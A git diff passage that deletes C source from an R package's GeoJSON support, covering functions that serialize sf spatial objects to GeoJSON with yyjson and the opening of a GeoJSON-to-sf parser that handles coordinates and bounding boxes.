-//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Initialise geo_parse_opts from an R named list from the user -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -geo_serialize_options create_geo_serialize_options(SEXP to_geo_opts_) { - geo_serialize_options opt = { - // .yyjson_write_flag = YYJSON_WRITE_PRETTY, - }; - - if (isNull(to_geo_opts_) || length(to_geo_opts_) == 0) { - return opt; - } - - if (!isNewList(to_geo_opts_)) { - error("'to_geo_opts_' must be a list"); - } - - SEXP nms_ = getAttrib(to_geo_opts_, R_NamesSymbol); - if (isNull(nms_)) { - error("'to_geo_opts_' must be a named list"); - } - - for (unsigned int i = 0; i < length(to_geo_opts_); i++) { - const char *opt_name = CHAR(STRING_ELT(nms_, i)); - SEXP val_ = VECTOR_ELT(to_geo_opts_, i); - - // if (strcmp(opt_name, "property_promotion") == 0) { - // const char *val = CHAR(STRING_ELT(val_, 0)); - // opt.property_promotion = strcmp(val, "string") == 0 ? PROP_TYPE_STRING : PROP_TYPE_LIST; - // } else if (strcmp(opt_name, "property_promotion_lgl_as_int") == 0) { - // const char *val = CHAR(STRING_ELT(val_, 0)); - // opt.property_promotion_lgl_as_int = strcmp(val, "string") == 0 ? PROP_LGL_AS_STR : PROP_LGL_AS_INT; - // } else if (strcmp(opt_name, "type") == 0) { - // const char *val = CHAR(STRING_ELT(val_, 0)); - // opt.type = strcmp(val, "sf") == 0 ? SF_TYPE : SFC_TYPE; - if (strcmp(opt_name, "pretty") == 0) { - if (asLogical(val_)) { - opt.yyjson_write_flag |= YYJSON_WRITE_PRETTY_TWO_SPACES; - } - } else { - warning("geo_opt: Unknown option ignored: '%s'\n", opt_name); - } - } - return opt; -} - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Serialize geometry -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -yyjson_mut_val *serialize_geom(SEXP sf_, yyjson_mut_doc *doc, geo_serialize_options *opt) { - - yyjson_mut_val *obj = yyjson_mut_obj(doc); - - bool geom_collection = false; - - if (inherits(sf_, "POINT")) { - yyjson_mut_obj_add_str(doc, obj, "type", "Point"); - } else if (inherits(sf_, "MULTIPOINT")) { - yyjson_mut_obj_add_str(doc, obj, "type", "MultiPoint"); - } else if (inherits(sf_, "LINESTRING")) { - yyjson_mut_obj_add_str(doc, obj, "type", "LineString"); - } else if (inherits(sf_, "MULTILINESTRING")) { - yyjson_mut_obj_add_str(doc, obj, "type", "MultiLineString"); - } else if (inherits(sf_, "POLYGON")) { - yyjson_mut_obj_add_str(doc, obj, "type", "Polygon"); - } else if (inherits(sf_, "MULTIPOLYGON")) { - yyjson_mut_obj_add_str(doc, obj, "type", "MultiPolygon"); - } else if (inherits(sf_, "GEOMETRYCOLLECTION")) { - geom_collection = true; - yyjson_mut_obj_add_str(doc, obj, "type", "GeometryCollection"); - } else { - error("@@@@@@@ serialize_geom Issue. Unhandled geometry type\n"); - } - - - if (!geom_collection) { - yyjson_mut_val *key = yyjson_mut_str(doc, "coordinates"); - yyjson_mut_obj_add(obj, key, serialize_core(sf_, doc, opt->serialize_opt)); - } else{ - - if (!isNewList(sf_)) { - error("Expecting geomcollection to be a VECSXP not: %s", type2char(TYPEOF(sf_))); - } - - // An array of geoms - yyjson_mut_val *geoms = yyjson_mut_arr(doc); - - // Unpack each element of the 'sf_' list as a geom and add to the array - for (unsigned int i = 0; i < length(sf_); i++) { - yyjson_mut_val *geom = serialize_geom(VECTOR_ELT(sf_, i), doc, opt); - yyjson_mut_arr_add_val(geoms, geom); - } - - yyjson_mut_val *key = yyjson_mut_str(doc, "geometries"); - yyjson_mut_obj_add(obj, key, geoms); - } - - - return obj; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP sfc_to_str(SEXP sfc_, geo_serialize_options *opt) { - - unsigned int nprotect = 0; - if (!isNewList(sfc_)) { - error("serialize_sfc(): Expeting list\n"); - } - - - unsigned int N = length(sfc_); - SEXP geojson_ = PROTECT(allocVector(STRSXP, N)); nprotect++; - - for (unsigned int idx = 0; idx < N; idx++) { - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - SEXP elem_ = VECTOR_ELT(sfc_, idx); - yyjson_mut_val *val = serialize_geom(elem_, doc, opt); - yyjson_mut_doc_set_root(doc, val); - - yyjson_write_err err; - char *json = yyjson_mut_write_opts(doc, opt->yyjson_write_flag, NULL, NULL, &err); - if (json == NULL) { - yyjson_mut_doc_free(doc); - error("Write to string error: %s code: %u\n", err.msg, err.code); - } - - SET_STRING_ELT(geojson_, idx, mkChar(json)); - yyjson_mut_doc_free(doc); - } - - - UNPROTECT(nprotect++); - return geojson_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// sf data.frame to feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -yyjson_mut_doc *sf_to_json(SEXP sf_, geo_serialize_options *opt) { - - // unsigned int nprotect = 0; - if (!isNewList(sf_) || !inherits(sf_, "data.frame")) { - error("serialize_sf(): Expecting data.frame\n"); - } - - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - // int ncol = length(sf_); - int nrow = length(VECTOR_ELT(sf_, 0)); - // Rprintf("[%i, %i] data.frame\n", nrow, ncol); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Determine index of geometry collection - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - unsigned int geom_col_idx = -1; - SEXP geom_col_name_ = getAttrib(sf_, mkString("sf_column")); - if (isNull(geom_col_name_)) { - error("sf_to_str(): Couldn't determine 'sf_column' name"); - } - const char *geom_col_name = CHAR(STRING_ELT(geom_col_name_, 0)); - SEXP colnames_ = getAttrib(sf_, R_NamesSymbol); - for (unsigned int i = 0; i < length(colnames_); i++) { - if (strcmp(CHAR(STRING_ELT(colnames_, i)), geom_col_name) == 0) { - geom_col_idx = i; - break; - } - } - if (geom_col_idx == -1) { - error("sf_to_str(): Couldn't 'sf_column' name '%s' in column names of sf object", geom_col_name); - } - - SEXP geom_col_ = VECTOR_ELT(sf_, geom_col_idx); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over each row to - // - create a 'Feature' object - // - add it to the features JSON []-array - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_mut_val *features = yyjson_mut_arr(doc); - unsigned int *col_type = detect_data_frame_types(sf_, opt->serialize_opt); - - for (unsigned int row = 0; row < nrow; row++) { - yyjson_mut_val *properties = data_frame_row_to_json_object(sf_, col_type, row, geom_col_idx, doc, opt->serialize_opt); - yyjson_mut_val *geometry = serialize_geom(VECTOR_ELT(geom_col_, row), doc, opt); - yyjson_mut_val *feature = yyjson_mut_obj(doc); - yyjson_mut_obj_add_str(doc, feature, "type", "Feature"); - yyjson_mut_obj_add(feature, yyjson_mut_str(doc, "properties"), properties); - yyjson_mut_obj_add(feature, yyjson_mut_str(doc, "geometry" ), geometry); - - // Add the feature to the array of features - yyjson_mut_arr_add_val(features, feature); - } - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Feature collection - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_mut_val *fc = yyjson_mut_obj(doc); - yyjson_mut_obj_add_str(doc, fc, "type", "FeatureCollection"); - yyjson_mut_obj_add(fc, yyjson_mut_str(doc, "features"), features); - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Add the feature collection as the root element of the JSON 'doc' - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_mut_doc_set_root(doc, fc); - - return doc; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// sf data.frame to feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP sf_to_str(SEXP sf_, geo_serialize_options *opt) { - - unsigned int nprotect = 0; - yyjson_mut_doc *doc = sf_to_json(sf_, opt); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Write the doc to a string - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_write_err err; - char *json = yyjson_mut_write_opts(doc, opt->yyjson_write_flag, NULL, NULL, &err); - if (json == NULL) { - yyjson_mut_doc_free(doc); - error("serialize_sf() Write to string error: %s code: %u\n", err.msg, err.code); - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Convert string to R character, tidy and return - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geojson_ = PROTECT(mkString(json)); nprotect++; - yyjson_mut_doc_free(doc); - UNPROTECT(nprotect++); - return geojson_; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// sf data.frame to feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP sf_to_file(SEXP sf_, SEXP filename_, geo_serialize_options *opt) { - - yyjson_mut_doc *doc = sf_to_json(sf_, opt); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Write to JSON file - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - const char *filename = CHAR(STRING_ELT(filename_, 0)); - yyjson_write_err err; - bool success = yyjson_mut_write_file(filename, doc, opt->yyjson_write_flag, NULL, &err); - if (!success) { - yyjson_mut_doc_free(doc); - error("Write to file error '%s': %s code: %u\n", filename, err.msg, err.code); - } - yyjson_mut_doc_free(doc); - return R_NilValue; -} - - - - -//=========================================================================== -// # ### ### ### # # -// # # # # # # # # -// #### ### # # # # ## # -// # # # # ### # # # # # -// # # # # # # # # ## -// # # # # # # # # # # # # -// ## ### ### ### ### # # -// -// Serialize R object to JSON string. Callable from R -//=========================================================================== -SEXP serialize_sf_to_str_(SEXP sf_, SEXP to_geo_opts_, SEXP serialize_opts_) { - - unsigned int nprotect = 0; - if (!inherits(sf_, "sf") && !inherits(sf_, "sfc")) { - error("Not an sf object"); - } - geo_serialize_options opt = create_geo_serialize_options(to_geo_opts_); - - serialize_options serialize_opt = parse_serialize_options(serialize_opts_); - opt.serialize_opt = &serialize_opt; - - SEXP res_ = R_NilValue; - if (inherits(sf_, "sfc")) { - res_ = PROTECT(sfc_to_str(sf_, &opt)); nprotect++; - } else if (inherits(sf_, "sf")) { - res_ = PROTECT(sf_to_str(sf_, &opt)); nprotect++; - } else { - error("serialize_sf_to_str_: class not handled yet"); - } - - UNPROTECT(nprotect); - return res_; -} - -SEXP serialize_sf_to_file_(SEXP sf_, SEXP filename_, SEXP to_geo_opts_, SEXP serialize_opts_) { - - unsigned int nprotect = 0; - if (!inherits(sf_, "sf") && !inherits(sf_, "sfc")) { - error("Not an sf object"); - } - geo_serialize_options opt = create_geo_serialize_options(to_geo_opts_); - - serialize_options serialize_opt = parse_serialize_options(serialize_opts_); - opt.serialize_opt = &serialize_opt; - - // SEXP res_ = R_NilValue; - if (inherits(sf_, "sfc")) { - // res_ = PROTECT(sfc_to_str(sf_, &opt)); nprotect++; - error("Serializing 'sfc' objects to file not done yet"); - } else if (inherits(sf_, "sf")) { - PROTECT(sf_to_file(sf_, filename_, &opt)); nprotect++; - } else { - error("serialize_sf_to_file_: class not handled yet"); - } - - UNPROTECT(nprotect); - return R_NilValue; -} - diff --git a/src/geojson.c b/src/geojson.c deleted file mode 100644 index a894d32..0000000 --- a/src/geojson.c +++ /dev/null @@ -1,1631 +0,0 @@ - - -#include -#include -#include -#include - -#include -#include -#include - -#include - -#include "yyjson.h" -#include "R-yyjson-parse.h" - -#define SF_POINT 1 << 1 -#define SF_MULTIPOINT 1 << 2 -#define SF_LINESTRING 1 << 3 -#define SF_MULTILINESTRING 1 << 4 -#define SF_POLYGON 1 << 5 -#define SF_MULTIPOLYGON 1 << 6 -#define SF_FEATURE_COLLECTION 1 << 7 -#define SF_GEOMETRY_COLLECTION 1 << 8 - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Make a CRS string to match what is done by: geojsonsf::geojson_sf() -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP make_crs(void) { - SEXP crs_ = PROTECT(allocVector(VECSXP, 2)); - SEXP nms_ = PROTECT(allocVector(STRSXP, 2)); - SET_STRING_ELT(nms_, 0, mkChar("input")); - SET_STRING_ELT(nms_, 1, mkChar("wkt")); - setAttrib(crs_, R_NamesSymbol, nms_); - setAttrib(crs_, R_ClassSymbol, mkString("crs")); - SET_VECTOR_ELT(crs_, 0, mkString("4326")); - SET_VECTOR_ELT(crs_, 1, mkString("GEOGCS[\"WGS 84\",\n DATUM[\"WGS_1984\",\n SPHEROID[\"WGS 84\",6378137,298.257223563,\n AUTHORITY[\"EPSG\",\"7030\"]],\n AUTHORITY[\"EPSG\",\"6326\"]],\n PRIMEM[\"Greenwich\",0,\n AUTHORITY[\"EPSG\",\"8901\"]],\n UNIT[\"degree\",0.0174532925199433,\n AUTHORITY[\"EPSG\",\"9122\"]],\n AXIS[\"Latitude\",NORTH],\n AXIS[\"Longitude\",EAST],\n AUTHORITY[\"EPSG\",\"4326\"]]")); - - UNPROTECT(2); - return crs_; -} - -#define SF_TYPE 1 // data.frame -#define SFC_TYPE 2 // list - -#define PROP_TYPE_LIST 0 -#define PROP_TYPE_STRING 1 - -#define PROP_LGL_AS_STR 0 -#define PROP_LGL_AS_INT 1 - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// GeoJSON Parse options -// - this also contains state information i.e. -// - current bounding box accumulations -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -typedef struct { - bool property_promotion; - bool property_promotion_lgl_as_int; // When promoting properties to string, should lgl be '1' or 'TRUE"? - unsigned int type; - unsigned int yyjson_read_flag; - parse_options *parse_opt; - double xmin; - double ymin; - double xmax; - double ymax; - double zmin; - double zmax; - double mmin; - double mmax; -} geo_parse_options; - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Initialise geo_parse_opts from an R named list from the user -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -geo_parse_options create_geo_parse_options(SEXP geo_opts_) { - geo_parse_options opt = { - .property_promotion = PROP_TYPE_STRING, // emulate 'geojsonsf' behaviour - .property_promotion_lgl_as_int = PROP_LGL_AS_INT, // emulate 'geojsonsf' behaviour - .type = SF_TYPE, - .yyjson_read_flag = 0, - .xmin = INFINITY, - .ymin = INFINITY, - .xmax = -INFINITY, - .ymax = -INFINITY, - .zmin = INFINITY, - .zmax = -INFINITY, - .mmin = INFINITY, - .mmax = -INFINITY - }; - - if (isNull(geo_opts_) || length(geo_opts_) == 0) { - return opt; - } - - if (!isNewList(geo_opts_)) { - error("'geo_opts_' must be a list"); - } - - SEXP nms_ = getAttrib(geo_opts_, R_NamesSymbol); - if (isNull(nms_)) { - error("'geo_opts_' must be a named list"); - } - - for (int i = 0; i < length(geo_opts_); i++) { - const char *opt_name = CHAR(STRING_ELT(nms_, i)); - SEXP val_ = VECTOR_ELT(geo_opts_, i); - - if (strcmp(opt_name, "property_promotion") == 0) { - const char *val = CHAR(STRING_ELT(val_, 0)); - opt.property_promotion = strcmp(val, "string") == 0 ? PROP_TYPE_STRING : PROP_TYPE_LIST; - } else if (strcmp(opt_name, "property_promotion_lgl_as_int") == 0) { - const char *val = CHAR(STRING_ELT(val_, 0)); - opt.property_promotion_lgl_as_int = strcmp(val, "string") == 0 ? PROP_LGL_AS_STR : PROP_LGL_AS_INT; - } else if (strcmp(opt_name, "type") == 0) { - const char *val = CHAR(STRING_ELT(val_, 0)); - opt.type = strcmp(val, "sf") == 0 ? SF_TYPE : SFC_TYPE; - } else { - warning("geo_opt: Unknown option ignored: '%s'\n", opt_name); - } - } - - - return opt; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// reset the bounding box in 'opt' -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -void reset_bbox(geo_parse_options *opt) { - opt->xmin = INFINITY; - opt->ymin = INFINITY; - opt->xmax = -INFINITY; - opt->ymax = -INFINITY; - opt->zmin = INFINITY; - opt->zmax = -INFINITY; - opt->mmin = INFINITY; - opt->mmax = -INFINITY; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Make an R bbox object based upon the current bbox in 'opt' -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP make_bbox(geo_parse_options *opt) { - - unsigned int nprotect = 0; - - SEXP bbox_ = PROTECT(allocVector(REALSXP, 4)); nprotect++; - REAL(bbox_)[0] = R_FINITE(opt->xmin) ? opt->xmin : NA_REAL; - REAL(bbox_)[1] = R_FINITE(opt->ymin) ? opt->ymin : NA_REAL; - REAL(bbox_)[2] = R_FINITE(opt->xmax) ? opt->xmax : NA_REAL; - REAL(bbox_)[3] = R_FINITE(opt->ymax) ? opt->ymax : NA_REAL; - SEXP bbox_nms_ = PROTECT(allocVector(STRSXP, 4)); nprotect++; - SET_STRING_ELT(bbox_nms_, 0, mkChar("xmin")); - SET_STRING_ELT(bbox_nms_, 1, mkChar("ymin")); - SET_STRING_ELT(bbox_nms_, 2, mkChar("xmax")); - SET_STRING_ELT(bbox_nms_, 3, mkChar("ymax")); - setAttrib(bbox_, R_NamesSymbol, bbox_nms_); - setAttrib(bbox_, R_ClassSymbol, mkString("bbox")); - - UNPROTECT(nprotect); - return bbox_; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Make a z-range object -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP make_z_range(geo_parse_options *opt) { - - unsigned int nprotect = 0; - - SEXP z_range_ = PROTECT(allocVector(REALSXP, 2)); nprotect++; - REAL(z_range_)[0] = R_FINITE(opt->zmin) ? opt->zmin : NA_REAL; - REAL(z_range_)[1] = R_FINITE(opt->zmax) ? opt->zmax : NA_REAL; - SEXP z_range_nms_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - SET_STRING_ELT(z_range_nms_, 0, mkChar("zmin")); - SET_STRING_ELT(z_range_nms_, 1, mkChar("zmax")); - setAttrib(z_range_, R_NamesSymbol, z_range_nms_); - setAttrib(z_range_, R_ClassSymbol, mkString("z_range")); - - UNPROTECT(nprotect); - return z_range_; -} - - -bool needs_z_range(geo_parse_options *opt) { - return R_FINITE(opt->zmin) && - R_FINITE(opt->zmax) && - opt->zmin != NA_REAL && - opt->zmax != NA_REAL - ; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Make a z-range object -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP make_m_range(geo_parse_options *opt) { - - unsigned int nprotect = 0; - - SEXP m_range_ = PROTECT(allocVector(REALSXP, 2)); nprotect++; - REAL(m_range_)[0] = R_FINITE(opt->mmin) ? opt->mmin : NA_REAL; - REAL(m_range_)[1] = R_FINITE(opt->mmax) ? opt->mmax : NA_REAL; - SEXP m_range_nms_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - SET_STRING_ELT(m_range_nms_, 0, mkChar("mmin")); - SET_STRING_ELT(m_range_nms_, 1, mkChar("mmax")); - setAttrib(m_range_, R_NamesSymbol, m_range_nms_); - setAttrib(m_range_, R_ClassSymbol, mkString("m_range")); - - UNPROTECT(nprotect); - return m_range_; -} - - -bool needs_m_range(geo_parse_options *opt) { - return R_FINITE(opt->mmin); -} - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Forward Declarations -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP geojson_as_sf(yyjson_val *val, geo_parse_options *opt, unsigned int depth); - -#define COORD_XY 2 -#define COORD_XYZ 3 -#define COORD_XYZM 4 - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Determine if the coords in this array of coordinate arrays is -// XY, XYZ or XYZM -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -unsigned int calc_matrix_coord_type(yyjson_val *arr, geo_parse_options *opt) { - unsigned int coord_bitset = 0; - unsigned int coord_type; - yyjson_arr_iter row_iter = yyjson_arr_iter_with(arr); - yyjson_val *row; - while ((row = yyjson_arr_iter_next(&row_iter))) { - unsigned int ncoords = yyjson_get_len(row); - coord_bitset |= (1 << ncoords); - } - - if (coord_bitset & (1 << 4)) { - coord_type = COORD_XYZM; - } else if (coord_bitset & (1 << 3)) { - coord_type = COORD_XYZ; - } else { - coord_type = COORD_XY; - } - - return coord_type; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// ### # -// # # # -// # ### ### # ## ## # ### -// # # # # # ## # # ## # -// # # # # # # # # ### -// # # # # # # # # ## # -// ### ### ### # ## # #### -// -// Parse a JSON []-array of coordinates to a matrix. -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_coords_as_matrix(yyjson_val *arr, unsigned int coord_type, geo_parse_options *opt) { - - unsigned int nrows = yyjson_get_len(arr); - unsigned int ncols = coord_type; - unsigned int N = nrows * ncols; - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Allocate memory for the R-matrix - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP mat_ = PROTECT(allocVector(REALSXP, N)); - double *ptr = REAL(mat_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over nested JSON []-arrays to populate the R-matrix - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_arr_iter row_iter = yyjson_arr_iter_with(arr); - yyjson_val *row; - unsigned int row_idx = 0; - while ((row = yyjson_arr_iter_next(&row_iter))) { - - yyjson_arr_iter col_iter = yyjson_arr_iter_with(row); - yyjson_val *val; - unsigned int col_idx = 0; - while((val = yyjson_arr_iter_next(&col_iter))) { - double tmp = yyjson_get_num(val); - ptr[row_idx + col_idx * nrows] = tmp; - - if (col_idx == 0) { - if (tmp > opt->xmax) opt->xmax = tmp; - if (tmp < opt->xmin) opt->xmin = tmp; - } else if (col_idx == 1) { - if (tmp > opt->ymax) opt->ymax = tmp; - if (tmp < opt->ymin) opt->ymin = tmp; - } else if (col_idx == 2) { - if (tmp > opt->zmax) opt->zmax = tmp; - if (tmp < opt->zmin) opt->zmin = tmp; - if (tmp == NA_REAL) { - opt->zmax = NA_REAL; - opt->zmin = NA_REAL; - } - } else if (col_idx == 3) { - if (tmp > opt->mmax) opt->mmax = tmp; - if (tmp < opt->mmin) opt->mmin = tmp; - } - - col_idx++; - } - - for (; col_idx < coord_type; col_idx++) { - ptr[row_idx + col_idx * nrows] = NA_REAL; - } - - row_idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Dims - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP dims_ = PROTECT(allocVector(INTSXP, 2)); - INTEGER(dims_)[0] = nrows; - INTEGER(dims_)[1] = ncols; - setAttrib(mat_, R_DimSymbol, dims_); - - UNPROTECT(2); - return mat_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse multiple matrices into a list -// Used for polygon and multipolygon -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_coords_as_matrix_list(yyjson_val *arr, - unsigned int *accumulated_coord_type, - geo_parse_options *opt) { - unsigned int nrings = yyjson_get_len(arr); - - SEXP ll_ = PROTECT(allocVector(VECSXP, nrings)); - - yyjson_arr_iter ring_iter = yyjson_arr_iter_with(arr); - yyjson_val *coords; - unsigned int ring_idx = 0; - unsigned int coord_type = COORD_XY; - while ((coords = yyjson_arr_iter_next(&ring_iter))) { - - coord_type = calc_matrix_coord_type(coords, opt); - SEXP mat_ = PROTECT(parse_coords_as_matrix(coords, coord_type, opt)); - SET_VECTOR_ELT(ll_, ring_idx, mat_); - - UNPROTECT(1); - ring_idx++; - } - - *accumulated_coord_type = coord_type; - - UNPROTECT(1); - return ll_; -} - -static char *COORD_SYSTEM[5] = {"NA", "NA", "XY", "XYZ", "XYZM"}; - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// ### # -// # # # -// # ### ### ## # ### #### # ## # # -// # # # # # # # # # # # ## # # # -// # ## ##### # # # # # ##### # # # ## -// # # # # # # # # # # # # ## # -// ### ### ### # # ### ## # # -// # # -// ### -// -// Point -// MultiPoint -// LineString -// MultiLineString -// Polygon -// MultiPolygon -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_point(yyjson_val *obj, geo_parse_options *opt) { - // Rprintf(">> Point\n"); - - yyjson_val *coords = yyjson_obj_get(obj, "coordinates"); - unsigned int N = yyjson_get_len(coords); - - SEXP vec_ = PROTECT(allocVector(REALSXP, N)); - double *ptr = REAL(vec_); - - yyjson_arr_iter iter = yyjson_arr_iter_with(coords); - yyjson_val *val; - unsigned int idx = 0; - while 